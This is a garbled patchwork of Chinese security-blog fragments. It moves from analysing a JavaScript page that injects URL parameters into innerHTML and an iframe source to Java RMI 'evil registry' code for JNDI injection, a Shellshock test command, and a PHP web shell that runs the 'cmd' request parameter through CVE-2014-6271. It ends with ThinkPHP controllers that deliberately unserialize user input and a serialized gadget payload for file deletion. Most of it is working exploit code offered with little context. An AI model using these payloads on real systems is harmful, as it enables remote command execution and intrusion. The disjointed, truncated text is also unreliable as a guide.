<scripttype="text/javascript"> var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1]; var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1]; var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]); var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true"; var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1])); document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion); document.querySelectorAll("[data-label]").forEach(function(dom){ dom.innerHTML = labels[dom.getAttribute("data-label") - 0]; }); document.querySelector("#release-panel").src = releaseNoteLink; </script>
分析一下插入的javascript实现的功能
1.参数获取:
1 2 3 4 5
var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1]; var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1]; var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]); var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true"; var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));
ReferenceWrapperreferenceWrapper=newReferenceWrapper(ref); registry.bind("FromXML", referenceWrapper); System.out.println("RMI Server start on 1100"); }
触发JNDI注入
运行
1 2 3
String uri = "rmi://127.0.0.1:1100/FromXML"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri);
ReferenceWrapperreferenceWrapper=newReferenceWrapper(ref); registry.bind("dllLoader", referenceWrapper); System.out.println("RMI Server start on 1100"); } }
public class UserDataRCE_Server { public static void main(String[] args) throws Exception{ System.out.println("Creating evil RMI registry on port 1100"); Registry registry = LocateRegistry.createRegistry(1100); System.setProperty("java.rmi.server.hostname", "127.0.0.1");
简单测试:命令行输入env x='() { :;}; echo vulnerable' bash -c "echo this is a test"如果输出了vulnerable，则说明存在bash破壳漏洞
上传exp php文件,文件包含或者访问该文件,cmd传shell指令看是否有反应
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<?php function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); // In Safe Mode, the user may only alter environment variableswhose names // begin with the prefixes supplied by this directive. // By default, users will only be able to set environment variablesthat // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, // PHP will let the user modify ANY environment variable! //mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail error_log('a',1); $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?>
class Test { //访问http://localhost/tp5.0/public/index.php/test/test/hello //或者传递参数访问http://localhost/tp5.0/public/index.php/test/test/hello/pass/参数 public function hello($pass = 'pass') { unserialize(base64_decode($pass)); return 'hello'; } }
class Test { //访问http://localhost/tp5/public/index.php/test/test/hello //或者传递参数访问http://localhost/tp5/public/index.php/test/test/hello/pass/参数 public function hello($pass = 'pass') { unserialize(base64_decode($pass)); return 'hello'; } }
<?php namespace think\process\pipes{ class Windows { private $files; public function __construct() { $this->files=["D:\\test.txt"]; } } } namespace{ use think\process\pipes\Windows; echo (base64_encode(serialize(new Windows()))); } ?>
